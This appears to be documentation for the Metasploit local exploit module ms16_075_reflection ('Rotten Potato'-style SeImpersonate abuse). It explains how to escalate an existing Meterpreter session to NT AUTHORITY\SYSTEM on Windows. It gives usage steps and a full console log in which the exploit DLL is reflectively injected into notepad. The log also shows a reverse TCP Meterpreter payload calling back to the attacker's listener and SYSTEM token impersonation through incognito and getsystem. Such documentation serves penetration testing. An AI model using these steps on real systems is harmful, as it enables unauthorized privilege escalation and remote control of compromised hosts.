## Intro
  This module will abuse the SeImperonsate privilege commonly found in 
services due to the requirement to impersonate a client upon 
authentication. As such it is possible to impersonate the SYSTEM account 
and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM 
attack at which intercepts the hash and relay responses from RPC to be 
able to establish a handle to a new SYSTEM token. Some caveats : Set 
your target option to match the architecture of your Meterpreter 
session, else it will inject the wrong architecture DLL into the process 
of a seperate architecture. Additionally, after you have established a 
session, you must use incognito to imperonsate the SYSTEM Token.
## Usage
  You'll first need to obtain a session on the target system.
  Next, once the module is loaded, one simply needs to set the 
```payload``` and ```session``` options, in addition to architecture.
  
  Your user at which you are trying to exploit must have `SeImpersonate` 
privileges.
  
  The module has a hardcoded timeout of 20 seconds, as the attack may 
not work immediately and take a few seconds to start. Also, check to 
make sure port 6666 is inherently not in use else the exploit will not 
run properly
  
## Scenario
```
  Name Current Setting Required Description
   ---- --------------- -------- -----------
   SESSION 48 yes The session to run this module on. Payload options 
(windows/x64/meterpreter/reverse_tcp):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, 
process, none)
   LHOST ens3 yes The listen address (an interface may be specified)
   LPORT 3312 yes The listen port Exploit target:
   Id Name
   -- ----
   1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run 
[*] Started reverse TCP handler on -snip-:3312 [*] Launching notepad to 
host the exploit... [+] Process 3564 launched. [*] Reflectively 
injecting the exploit DLL into 3564... [*] Injecting exploit into 
3564... [*] Exploit injected. Injecting payload into 3564... [*] Payload 
injected. Executing exploit... [+] Exploit finished, wait for (hopefully 
privileged) payload execution to complete. [*] Sending stage (206403 
bytes) to -snip- [*] Meterpreter session 49 opened (-snip-:3312 -> 
-snip-:55306) at 2018-08-03 01:54:18 -0400 meterpreter > load incognito 
Loading extension incognito...Success. meterpreter > impersonate_token 
'NT AUTHORITY\SYSTEM' [-] Warning: Not currently running as SYSTEM, not 
all tokens will be available
             Call rev2self if primary process token is SYSTEM [-] No 
delegation token available [+] Successfully impersonated user NT 
AUTHORITY\SYSTEM meterpreter > getsystem -t 1 ...got system via 
technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > 
```
